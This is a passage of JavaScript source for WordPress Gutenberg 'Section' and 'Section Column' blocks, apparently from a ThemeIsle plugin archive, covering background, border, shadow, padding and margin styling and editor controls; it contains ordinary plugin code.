				backgroundSize
			};
		}

		if ( 'gradient' === backgroundType ) {
			let direction;

			if ( 'linear' === backgroundGradientType ) {
				direction = `${ backgroundGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundGradientPosition }`;
			}

			background = {
				background: `${ backgroundGradientType }-gradient( ${ direction }, ${ backgroundGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientFirstLocation }%, ${ backgroundGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientSecondLocation }% )`
			};
		}

		if ( 'linked' === borderType ) {
			borderStyle = {
				borderWidth: `${ border }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'unlinked' === borderType ) {
			borderStyle = {
				borderTopWidth: `${ borderTop }px`,
				borderRightWidth: `${ borderRight }px`,
				borderBottomWidth: `${ borderBottom }px`,
				borderLeftWidth: `${ borderLeft }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'linked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderRadius: `${ borderRadius }px`
			};
		}

		if ( 'unlinked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderTopLeftRadius: `${ borderRadiusTop }px`,
				borderTopRightRadius: `${ borderRadiusRight }px`,
				borderBottomRightRadius: `${ borderRadiusBottom }px`,
				borderBottomLeftRadius: `${ borderRadiusLeft }px`
			};
		}

		if ( true === boxShadow ) {
			boxShadowStyle = {
				boxShadow: `${ boxShadowHorizontal }px ${ boxShadowVertical }px ${ boxShadowBlur }px ${ boxShadowSpread }px ${  hexToRgba( ( boxShadowColor ? boxShadowColor : '#000000' ), boxShadowColorOpacity ) }`
			};
		}

		const style = {
			...background,
			...borderStyle,
			...borderRadiusStyle,
			...boxShadowStyle,
			justifyContent: horizontalAlign
		};

		if ( 'color' === backgroundOverlayType ) {
			overlayBackground = {
				background: backgroundOverlayColor,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'image' === backgroundOverlayType ) {
			overlayBackground = {
				backgroundImage: `url( '${ backgroundOverlayImageURL }' )`,
				backgroundAttachment: backgroundOverlayAttachment,
				backgroundPosition: backgroundOverlayPosition,
				backgroundRepeat: backgroundOverlayRepeat,
				backgroundSize: backgroundOverlaySize,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		if ( 'gradient' === backgroundOverlayType ) {
			let direction;

			if ( 'linear' === backgroundOverlayGradientType ) {
				direction = `${ backgroundOverlayGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundOverlayGradientPosition }`;
			}

			overlayBackground = {
				background: `${ backgroundOverlayGradientType }-gradient( ${ direction }, ${ backgroundOverlayGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientFirstLocation }%, ${ backgroundOverlayGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundOverlayGradientSecondLocation }% )`,
				opacity: backgroundOverlayOpacity / 100
			};
		}

		const overlayStyle = {
			...overlayBackground,
			mixBlendMode: backgroundOverlayBlend
		};

		let innerStyle = {};

		if ( columnsWidth ) {
			innerStyle = {
				maxWidth: columnsWidth + 'px'
			};
		}

		const desktopLayout = hide ? '' : `has-desktop-${ layout }-layout`;
		const tabletLayout = hideTablet ? '' : `has-tablet-${ layoutTablet }-layout`;
		const mobileLayout = hideMobile ? '' : `has-mobile-${ layoutMobile }-layout`;

		const classes = classnames(
			props.className,
			`has-${ columns }-columns`,
			desktopLayout,
			tabletLayout,
			mobileLayout,
			{ 'hide-in-desktop': hide },
			{ 'hide-in-tablet': hideTablet },
			{ 'hide-in-mobile': hideMobile },
			`has-${ columnsGap }-gap`,
			`has-vertical-${ verticalAlign }`
		);

		return (
			<Tag
				className={ classes }
				id={ id }
				style={ style }
			>
				<div
					className="wp-themeisle-block-overlay"
					style={ overlayStyle }
				>
				</div>

				<Separators
					type="top"
					front={ true }
					style={ dividerTopType }
					fill={ dividerTopColor }
					invert={ dividerTopInvert }
				/>

				<div
					className="innerblocks-wrap"
					style={ innerStyle }
				>
					<InnerBlocks.Content />
				</div>

				<Separators
					type="bottom"
					front={ true }
					style={ dividerBottomType }
					fill={ dividerBottomColor }
					invert={ dividerBottomInvert }
				/>
			</Tag>
		);
	}
});
section/advanced-column.js000066600000132030151151722010011604 0ustar00/**
 * External dependencies
 */
import classnames from 'classnames';
import hexToRgba from 'hex-rgba';

/**
 * WordPress dependencies
 */
const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const {
	Button,
	Dashicon,
	PanelBody,
	ToggleControl,
	RangeControl,
	ResizableBox,
	SelectControl
} = wp.components;

const {
	compose,
	withState
} = wp.compose;

const {
	withDispatch,
	withSelect
} = wp.data;

const {
	ColorPalette,
	InnerBlocks,
	InspectorControls,
	MediaPlaceholder
} = wp.editor;

const { Fragment } = wp.element;

const { withViewportMatch } = wp.viewport;

/**
 * Internal dependencies
 */
import { columnIcon } from '../../helpers/icons.js';

import layouts from './layouts.js';

import SizingControl from '../../components/sizing-control/index.js';

import ResponsiveControl from '../../components/responsive-control/index.js';

import BackgroundControl from './components/background-control/index.js';

import ControlPanelControl from '../../components/control-panel-control/index.js';

registerBlockType( 'themeisle-blocks/advanced-column', {
	title: __( 'Section Column' ),
	description: __( 'A single column within a Section block.' ),
	parent: [ 'themeisle-blocks/advanced-columns' ],
	icon: columnIcon,
	category: 'themeisle-blocks',
	attributes: {
		id: {
			type: 'string'
		},
		paddingType: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeTablet: {
			type: 'string',
			default: 'linked'
		},
		paddingTypeMobile: {
			type: 'string',
			default: 'linked'
		},
		padding: {
			type: 'number',
			default: 20
		},
		paddingTablet: {
			type: 'number',
			default: 20
		},
		paddingMobile: {
			type: 'number',
			default: 20
		},
		paddingTop: {
			type: 'number',
			default: 20
		},
		paddingTopTablet: {
			type: 'number',
			default: 20
		},
		paddingTopMobile: {
			type: 'number',
			default: 20
		},
		paddingRight: {
			type: 'number',
			default: 20
		},
		paddingRightTablet: {
			type: 'number',
			default: 20
		},
		paddingRightMobile: {
			type: 'number',
			default: 20
		},
		paddingBottom: {
			type: 'number',
			default: 20
		},
		paddingBottomTablet: {
			type: 'number',
			default: 20
		},
		paddingBottomMobile: {
			type: 'number',
			default: 20
		},
		paddingLeft: {
			type: 'number',
			default: 20
		},
		paddingLeftTablet: {
			type: 'number',
			default: 20
		},
		paddingLeftMobile: {
			type: 'number',
			default: 20
		},
		marginType: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeTablet: {
			type: 'string',
			default: 'unlinked'
		},
		marginTypeMobile: {
			type: 'string',
			default: 'unlinked'
		},
		margin: {
			type: 'number',
			default: 20
		},
		marginTablet: {
			type: 'number',
			default: 20
		},
		marginMobile: {
			type: 'number',
			default: 20
		},
		marginTop: {
			type: 'number',
			default: 20
		},
		marginTopTablet: {
			type: 'number',
			default: 20
		},
		marginTopMobile: {
			type: 'number',
			default: 20
		},
		marginRight: {
			type: 'number',
			default: 0
		},
		marginRightTablet: {
			type: 'number',
			default: 0
		},
		marginRightMobile: {
			type: 'number',
			default: 0
		},
		marginBottom: {
			type: 'number',
			default: 20
		},
		marginBottomTablet: {
			type: 'number',
			default: 20
		},
		marginBottomMobile: {
			type: 'number',
			default: 20
		},
		marginLeft: {
			type: 'number',
			default: 0
		},
		marginLeftTablet: {
			type: 'number',
			default: 0
		},
		marginLeftMobile: {
			type: 'number',
			default: 0
		},
		backgroundType: {
			type: 'string',
			default: 'color'
		},
		backgroundColor: {
			type: 'string'
		},
		backgroundImageID: {
			type: 'number'
		},
		backgroundImageURL: {
			type: 'string'
		},
		backgroundAttachment: {
			type: 'string',
			default: 'scroll'
		},
		backgroundPosition: {
			type: 'string',
			default: 'top left'
		},
		backgroundRepeat: {
			type: 'string',
			default: 'repeat'
		},
		backgroundSize: {
			type: 'string',
			default: 'auto'
		},
		backgroundGradientFirstColor: {
			type: 'string',
			default: '#36d1dc'
		},
		backgroundGradientFirstLocation: {
			type: 'number',
			default: 0
		},
		backgroundGradientSecondColor: {
			type: 'string',
			default: '#5b86e5'
		},
		backgroundGradientSecondLocation: {
			type: 'number',
			default: 100
		},
		backgroundGradientType: {
			type: 'string',
			default: 'linear'
		},
		backgroundGradientAngle: {
			type: 'number',
			default: 90
		},
		backgroundGradientPosition: {
			type: 'string',
			default: 'center center'
		},
		borderType: {
			type: 'string',
			default: 'linked'
		},
		border: {
			type: 'number',
			default: 0
		},
		borderTop: {
			type: 'number',
			default: 0
		},
		borderRight: {
			type: 'number',
			default: 0
		},
		borderBottom: {
			type: 'number',
			default: 0
		},
		borderLeft: {
			type: 'number',
			default: 0
		},
		borderColor: {
			type: 'string',
			default: '#000000'
		},
		borderRadiusType: {
			type: 'string',
			default: 'linked'
		},
		borderRadius: {
			type: 'number',
			default: 0
		},
		borderRadiusTop: {
			type: 'number',
			default: 0
		},
		borderRadiusRight: {
			type: 'number',
			default: 0
		},
		borderRadiusBottom: {
			type: 'number',
			default: 0
		},
		borderRadiusLeft: {
			type: 'number',
			default: 0
		},
		boxShadow: {
			type: 'boolean',
			default: false
		},
		boxShadowColor: {
			type: 'string',
			default: '#000000'
		},
		boxShadowColorOpacity: {
			type: 'number',
			default: 50
		},
		boxShadowBlur: {
			type: 'number',
			default: 5
		},
		boxShadowSpread: {
			type: 'number',
			default: 0
		},
		boxShadowHorizontal: {
			type: 'number',
			default: 0
		},
		boxShadowVertical: {
			type: 'number',
			default: 0
		},
		columnsHTMLTag: {
			type: 'string',
			default: 'div'
		},
		columnWidth: {
			type: 'string'
		}
	},

	supports: {
		inserter: false,
		reusable: false,
		html: false
	},

	edit: compose([

		withDispatch( ( dispatch ) => {
			const { updateBlockAttributes } = dispatch( 'core/editor' );

			return {
				updateBlockAttributes
			};
		}),

		withSelect( ( select, props ) => {
			const { clientId } = props;
			const {
				getAdjacentBlockClientId,
				getBlock,
				getBlockRootClientId
			} = select( 'core/editor' );
			const adjacentBlockClientId = getAdjacentBlockClientId( clientId );
			const adjacentBlock = getBlock( adjacentBlockClientId );
			const parentClientId = getBlockRootClientId( clientId );
			const parentBlock = getBlock( parentClientId );
			const hasChildBlocks = 0 < getBlock( clientId ).innerBlocks.length;

			return {
				adjacentBlockClientId,
				adjacentBlock,
				parentClientId,
				parentBlock,
				hasChildBlocks,
				props
			};
		}),

		withState({
			tab: 'layout',
			paddingViewType: 'desktop',
			marginViewType: 'desktop',
			currentWidth: 0,
			nextWidth: 0
		}),

		withViewportMatch({
			isLarger: '>= large',
			isLarge: '<= large',
			isSmall: '>= small',
			isSmaller: '<= small'
		})

	])( ({
		tab,
		paddingViewType,
		marginViewType,
		currentWidth,
		nextWidth,
		setState,
		isLarger,
		isLarge,
		isSmall,
		isSmaller,
		props,
		adjacentBlockClientId,
		adjacentBlock,
		parentClientId,
		parentBlock,
		hasChildBlocks,
		updateBlockAttributes
	}) => {
		const {
			id,
			paddingType,
			paddingTypeTablet,
			paddingTypeMobile,
			padding,
			paddingTablet,
			paddingMobile,
			paddingTop,
			paddingTopTablet,
			paddingTopMobile,
			paddingRight,
			paddingRightTablet,
			paddingRightMobile,
			paddingBottom,
			paddingBottomTablet,
			paddingBottomMobile,
			paddingLeft,
			paddingLeftTablet,
			paddingLeftMobile,
			marginType,
			marginTypeTablet,
			marginTypeMobile,
			margin,
			marginTablet,
			marginMobile,
			marginTop,
			marginTopTablet,
			marginTopMobile,
			marginRight,
			marginRightTablet,
			marginRightMobile,
			marginBottom,
			marginBottomTablet,
			marginBottomMobile,
			marginLeft,
			marginLeftTablet,
			marginLeftMobile,
			backgroundType,
			backgroundColor,
			backgroundImageID,
			backgroundImageURL,
			backgroundAttachment,
			backgroundPosition,
			backgroundRepeat,
			backgroundSize,
			backgroundGradientFirstColor,
			backgroundGradientFirstLocation,
			backgroundGradientSecondColor,
			backgroundGradientSecondLocation,
			backgroundGradientType,
			backgroundGradientAngle,
			backgroundGradientPosition,
			borderType,
			border,
			borderTop,
			borderRight,
			borderBottom,
			borderLeft,
			borderColor,
			borderRadiusType,
			borderRadius,
			borderRadiusTop,
			borderRadiusRight,
			borderRadiusBottom,
			borderRadiusLeft,
			boxShadow,
			boxShadowColor,
			boxShadowColorOpacity,
			boxShadowBlur,
			boxShadowSpread,
			boxShadowHorizontal,
			boxShadowVertical,
			columnsHTMLTag,
			columnWidth
		} = props.attributes;

		if ( id === undefined || id.substr( id.length - 8 ) !== props.clientId.substr( 0, 8 ) ) {
			const instanceId = `wp-block-themeisle-blocks-advanced-column-${ props.clientId.substr( 0, 8 ) }`;
			props.setAttributes({ id: instanceId });
		}

		const isDesktop = ( isLarger && ! isLarge && isSmall && ! isSmaller );

		const isTablet = ( ! isLarger && ! isLarge && isSmall && ! isSmaller );

		const isMobile = ( ! isLarger && ! isLarge && ! isSmall && ! isSmaller );

		if ( columnWidth === undefined ) {
			( parentBlock.innerBlocks ).map( ( innerBlock, i ) => {
				if ( props.clientId === innerBlock.clientId ) {
					const columns = parentBlock.attributes.columns;
					const layout = parentBlock.attributes.layout;
					updateBlockAttributes( props.clientId, {
						columnWidth: parseFloat( layouts[columns][layout][i])
					});
				}
			});
		}

		const columnContainer = document.getElementById( `block-${ props.clientId }` );

		if ( null !== columnContainer ) {
			if ( isDesktop ) {
				columnContainer.style.flexBasis = `${ columnWidth }%`;
			} else {
				columnContainer.style.flexBasis = '';
			}
		}

		const Tag = columnsHTMLTag;

		let stylesheet, background, borderStyle, borderRadiusStyle, boxShadowStyle;

		if ( isDesktop ) {
			stylesheet = {
				paddingTop: 'linked' === paddingType ? `${ padding }px` : `${ paddingTop }px`,
				paddingRight: 'linked' === paddingType ? `${ padding }px` : `${ paddingRight }px`,
				paddingBottom: 'linked' === paddingType ? `${ padding }px` : `${ paddingBottom }px`,
				paddingLeft: 'linked' === paddingType ? `${ padding }px` : `${ paddingLeft }px`,
				marginTop: 'linked' === marginType ? `${ margin }px` : `${ marginTop }px`,
				marginRight: 'linked' === marginType ? `${ margin }px` : `${ marginRight }px`,
				marginBottom: 'linked' === marginType ? `${ margin }px` : `${ marginBottom }px`,
				marginLeft: 'linked' === marginType ? `${ margin }px` : `${ marginLeft }px`
			};
		}

		if ( isTablet ) {
			stylesheet = {
				paddingTop: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingTopTablet }px`,
				paddingRight: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingRightTablet }px`,
				paddingBottom: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingBottomTablet }px`,
				paddingLeft: 'linked' === paddingTypeTablet ? `${ paddingTablet }px` : `${ paddingLeftTablet }px`,
				marginTop: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginTopTablet }px`,
				marginRight: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginRightTablet }px`,
				marginBottom: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginBottomTablet }px`,
				marginLeft: 'linked' === marginTypeTablet ? `${ marginTablet }px` : `${ marginLeftTablet }px`
			};
		}

		if ( isMobile ) {
			stylesheet = {
				paddingTop: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingTopMobile }px`,
				paddingRight: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingRightMobile }px`,
				paddingBottom: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingBottomMobile }px`,
				paddingLeft: 'linked' === paddingTypeMobile ? `${ paddingMobile }px` : `${ paddingLeftMobile }px`,
				marginTop: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginTopMobile }px`,
				marginRight: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginRightMobile }px`,
				marginBottom: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginBottomMobile }px`,
				marginLeft: 'linked' === marginTypeMobile ? `${ marginMobile }px` : `${ marginLeftMobile }px`
			};
		}

		if ( 'color' === backgroundType ) {
			background = {
				background: backgroundColor
			};
		}

		if ( 'image' === backgroundType ) {
			background = {
				backgroundImage: `url( '${ backgroundImageURL }' )`,
				backgroundAttachment,
				backgroundPosition,
				backgroundRepeat,
				backgroundSize
			};
		}

		if ( 'gradient' === backgroundType ) {
			let direction;

			if ( 'linear' === backgroundGradientType ) {
				direction = `${ backgroundGradientAngle }deg`;
			} else {
				direction = `at ${ backgroundGradientPosition }`;
			}

			if ( backgroundGradientFirstColor || backgroundGradientSecondColor ) {
				background = {
					background: `${ backgroundGradientType }-gradient( ${ direction }, ${ backgroundGradientFirstColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientFirstLocation }%, ${ backgroundGradientSecondColor || 'rgba( 0, 0, 0, 0 )' } ${ backgroundGradientSecondLocation }% )`
				};
			}
		}

		if ( 'linked' === borderType ) {
			borderStyle = {
				borderWidth: `${ border }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'unlinked' === borderType ) {
			borderStyle = {
				borderTopWidth: `${ borderTop }px`,
				borderRightWidth: `${ borderRight }px`,
				borderBottomWidth: `${ borderBottom }px`,
				borderLeftWidth: `${ borderLeft }px`,
				borderStyle: 'solid',
				borderColor: borderColor
			};
		}

		if ( 'linked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderRadius: `${ borderRadius }px`
			};
		}

		if ( 'unlinked' === borderRadiusType ) {
			borderRadiusStyle = {
				borderTopLeftRadius: `${ borderRadiusTop }px`,
				borderTopRightRadius: `${ borderRadiusRight }px`,
				borderBottomRightRadius: `${ borderRadiusBottom }px`,
				borderBottomLeftRadius: `${ borderRadiusLeft }px`
			};
		}

		if ( true === boxShadow ) {
			boxShadowStyle = {
				boxShadow: `${ boxShadowHorizontal }px ${ boxShadowVertical }px ${ boxShadowBlur }px ${ boxShadowSpread }px ${  hexToRgba( ( boxShadowColor ? boxShadowColor : '#000000' ), boxShadowColorOpacity ) }`
			};
		}

		const style = {
			...stylesheet,
			...background,
			...borderStyle,
			...borderRadiusStyle,
			...boxShadowStyle
		};

		const changePaddingViewType = value => {
			setState({ paddingViewType: value });
		};

		const changeMarginViewType = value => {
			setState({ marginViewType: value });
		};

		const getPadding = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingTop;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingTopTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingTopMobile;
				}
			}

			if ( 'right' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingRight;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingRightTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingRightMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingBottom;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingBottomTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingBottomMobile;
				}
			}

			if ( 'left' == type ) {
				if ( 'desktop' === paddingViewType ) {
					value = 'linked' === paddingType ? padding : paddingLeft;
				}

				if ( 'tablet' === paddingViewType ) {
					value = 'linked' === paddingTypeTablet ? paddingTablet : paddingLeftTablet;
				}

				if ( 'mobile' === paddingViewType ) {
					value = 'linked' === paddingTypeMobile ? paddingMobile : paddingLeftMobile;
				}
			}

			return value;
		};

		const desktopPaddingType = {
			top: 'paddingTop',
			right: 'paddingRight',
			bottom: 'paddingBottom',
			left: 'paddingLeft'
		};

		const tabletPaddingType = {
			top: 'paddingTopTablet',
			right: 'paddingRightTablet',
			bottom: 'paddingBottomTablet',
			left: 'paddingLeftTablet'
		};

		const mobilePaddingType = {
			top: 'paddingTopMobile',
			right: 'paddingRightMobile',
			bottom: 'paddingBottomMobile',
			left: 'paddingLeftMobile'
		};

		const changePadding = ( type, value ) => {
			if ( 'desktop' === paddingViewType ) {
				if ( 'linked' === paddingType ) {
					props.setAttributes({ padding: value });
				} else {
					props.setAttributes({ [desktopPaddingType[type]]: value });
				}
			}

			if ( 'tablet' === paddingViewType ) {
				if ( 'linked' === paddingTypeTablet ) {
					props.setAttributes({ paddingTablet: value });
				} else {
					props.setAttributes({ [tabletPaddingType[type]]: value });
				}
			}

			if ( 'mobile' === paddingViewType ) {
				if ( 'linked' === paddingTypeMobile ) {
					props.setAttributes({ paddingMobile: value });
				} else {
					props.setAttributes({ [mobilePaddingType[type]]: value });
				}
			}
		};

		const changePaddingType = value => {
			if ( 'desktop' === paddingViewType ) {
				props.setAttributes({ paddingType: value });
			}
			if ( 'tablet' === paddingViewType ) {
				props.setAttributes({ paddingTypeTablet: value });
			}
			if ( 'mobile' === paddingViewType ) {
				props.setAttributes({ paddingTypeMobile: value });
			}
		};

		let getPaddingType = () => {
			let value;

			if ( 'desktop' === paddingViewType ) {
				value = paddingType;
			}
			if ( 'tablet' === paddingViewType ) {
				value = paddingTypeTablet;
			}
			if ( 'mobile' === paddingViewType ) {
				value = paddingTypeMobile;
			}

			return value;
		};

		getPaddingType = getPaddingType();

		const getMargin = type => {
			let value;

			if ( 'top' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginTop;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginTopTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginTopMobile;
				}
			}

			if ( 'right' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginRight;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginRightTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginRightMobile;
				}
			}

			if ( 'bottom' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginBottom;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginBottomTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginBottomMobile;
				}
			}

			if ( 'left' == type ) {
				if ( 'desktop' === marginViewType ) {
					value = 'linked' === marginType ? margin : marginLeft;
				}

				if ( 'tablet' === marginViewType ) {
					value = 'linked' === marginTypeTablet ? marginTablet : marginLeftTablet;
				}

				if ( 'mobile' === marginViewType ) {
					value = 'linked' === marginTypeMobile ? marginMobile : marginLeftMobile;
				}
			}

			return value;
		};

		const desktopMarginType = {
			top: 'marginTop',
			right: 'marginRight',
			bottom: 'marginBottom',
			left: 'marginLeft'
		};

		const tabletMarginType = {
			top: 'marginTopTablet',
			right: 'marginRightTablet',
			bottom: 'marginBottomTablet',
			left: 'marginLeftTablet'
		};

		const mobileMarginType = {
			top: 'marginTopMobile',
			right: 'marginRightMobile',
			bottom: 'marginBottomMobile',
			left: 'marginLeftMobile'
		};

		const changeMargin = ( type, value ) => {
			if ( 'desktop' === marginViewType ) {
				if ( 'linked' === marginType ) {
					props.setAttributes({ margin: value });
				} else {
					props.setAttributes({ [desktopMarginType[type]]: value });
				}
			}

			if ( 'tablet' === marginViewType ) {
				if ( 'linked' === marginTypeTablet ) {
					props.setAttributes({ marginTablet: value });
				} else {
					props.setAttributes({ [tabletMarginType[type]]: value });
				}
			}

			if ( 'mobile' === marginViewType ) {
				if ( 'linked' === marginTypeMobile ) {
					props.setAttributes({ marginMobile: value });
				} else {
					props.setAttributes({ [mobileMarginType[type]]: value });
				}
			}
		};

		const changeMarginType = value => {
			if ( 'desktop' === marginViewType ) {
				props.setAttributes({ marginType: value });
			}
			if ( 'tablet' === marginViewType ) {
				props.setAttributes({ marginTypeTablet: value });
			}
			if ( 'mobile' === marginViewType ) {
				props.setAttributes({ marginTypeMobile: value });
			}
		};

		let getMarginType = () => {
			let value;

			if ( 'desktop' === marginViewType ) {
				value = marginType;
			}
			if ( 'tablet' === marginViewType ) {
				value = marginTypeTablet;
			}
			if ( 'mobile' === marginViewType ) {
				value = marginTypeMobile;
			}

			return value;
		};

		getMarginType = getMarginType();

		const changeBackgroundType = value => {
			props.setAttributes({ backgroundType: value });
		};

		const changeBackgroundColor = value => {
			props.setAttributes({ backgroundColor: value });
		};

		const changeBackgroundImage = value => {
			props.setAttributes({
				backgroundImageID: value.id,
				backgroundImageURL: value.url
			});
		};

		const removeBackgroundImage = () => {
			props.setAttributes({
				backgroundImageID: '',
				backgroundImageURL: ''
			});
		};

		const changeBackgroundAttachment = value => {
			props.setAttributes({ backgroundAttachment: value });
		};

		const changeBackgroundPosition = value => {
			props.setAttributes({ backgroundPosition: value });
		};

		const changeBackgroundRepeat = value => {
			props.setAttributes({ backgroundRepeat: value });
		};

		const changeBackgroundSize = value => {
			props.setAttributes({ backgroundSize: value });
		};

		const changeBackgroundGradientFirstColor = value => {
			props.setAttributes({ backgroundGradientFirstColor: value });
		};

		const changeBackgroundGradientFirstLocation = value => {
			props.setAttributes({ backgroundGradientFirstLocation: value });
		};

		const changeBackgroundGradientSecondColor = value => {
			props.setAttributes({ backgroundGradientSecondColor: value });
		};

		const changeBackgroundGradientSecondLocation = value => {
			props.setAttributes({ backgroundGradientSecondLocation: value });
		};

		const changeBackgroundGradientType = value => {
			props.setAttributes({ backgroundGradientType: value });
		};

		const changeBackgroundGradientAngle = value => {
			props.setAttributes({ backgroundGradientAngle: value });
		};

		const changeBackgroundGradientPosition = value => {
			props.setAttributes({ backgroundGradientPosition: value });
		};

		const getBorder = type => {
			let value;

			if ( 'top' == type ) {
				value = 'linked' === borderType ? border : borderTop;
			}

			if ( 'right' == type ) {
				value = 'linked' === borderType ? border : borderRight;
			}

			if ( 'bottom' == type ) {
				value = 'linked' === borderType ? border : borderBottom;
			}

			if ( 'left' == type ) {
				value = 'linked' === borderType ? border : borderLeft;
			}

			return value;
		};

		const changeBorderType = value => {
			props.setAttributes({ borderType: value });
		};

		const borderWidthDirection = {
			top: 'borderTop',
			right: 'borderRight',
			bottom: 'borderBottom',
			left: 'borderLeft'
		};

		const changeBorder = ( type, value ) => {
			if ( 'linked' === borderType ) {
				props.setAttributes({ border: value });
			} else {
				props.setAttributes({ [borderWidthDirection[type]]: value });
			}
		};

		const changeBorderColor = value => {
			props.setAttributes({ borderColor: value });
		};

		const getBorderRadius = type => {
			let value;

			if ( 'top' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusTop;
			}

			if ( 'right' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusRight;
			}

			if ( 'bottom' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusBottom;
			}

			if ( 'left' == type ) {
				value = 'linked' === borderRadiusType ? borderRadius : borderRadiusLeft;
			}

			return value;
		};

		const changeBorderRadiusType = value => {
			props.setAttributes({ borderRadiusType: value });
		};

		const borderRadiusDirection = {
			top: 'borderRadiusTop',
			right: 'borderRadiusRight',
			bottom: 'borderRadiusBottom',
			left: 'borderRadiusLeft'
		};

		const changeBorderRadius = ( type, value ) => {
			if ( 'linked' === borderRadiusType ) {
				props.setAttributes({ borderRadius: value });
			} else {
				props.setAttributes({ [borderRadiusDirection[type]]: value });
			}
		};

		const changeBoxShadow = () => {
			props.setAttributes({ boxShadow: ! boxShadow });
		};

		const changeBoxShadowColor = value => {
			props.setAttributes({ boxShadowColor: value });
		};

		const changeBoxShadowColorOpacity = value => {
			props.setAttributes({ boxShadowColorOpacity: value });
		};

		const changeBoxShadowBlur = value => {
			props.setAttributes({ boxShadowBlur: value });
		};

		const changeBoxShadowSpread = value => {
			props.setAttributes({ boxShadowSpread: value });
		};

		const changeBoxShadowHorizontal = value => {
			props.setAttributes({ boxShadowHorizontal: value });
		};

		const changeBoxShadowVertical = value => {
			props.setAttributes({ boxShadowVertical: value });
		};

		const changeColumnsHTMLTag = value => {
			props.setAttributes({ columnsHTMLTag: value });
		};

		return (
			<Fragment>
				<InspectorControls>
					<PanelBody className="wp-block-themeisle-blocks-advanced-columns-header-panel">
						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'layout' === tab }
							) }
							onClick={ () => setState({ tab: 'layout' }) }
						>
							<span
							>
								<Dashicon icon="editor-table"/>
								{ __( 'Layout' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'style' === tab }
							) }
							onClick={ () => setState({ tab: 'style' }) }
						>
							<span
							>
								<Dashicon icon="admin-customizer"/>
								{ __( 'Style' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'advanced' === tab }
							) }
							onClick={ () => setState({ tab: 'advanced' }) }
						>
							<span
							>
								<Dashicon icon="admin-generic"/>
								{ __( 'Advanced' ) }
							</span>
						</Button>
					</PanelBody>

					{ 'layout' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Padding & Margin' ) }
							>
								<ResponsiveControl
									label={ 'Padding' }
									view={ paddingViewType }
									changeViewType={ changePaddingViewType }
								>
									<SizingControl
										type={ getPaddingType }
										min={ 0 }
										max={ 500 }
										changeType={ changePaddingType }
										onChange={ changePadding }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getPadding( 'top' )
											},
											{
												label: __( 'Right' ),
												type: 'right',
												value: getPadding( 'right' )
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
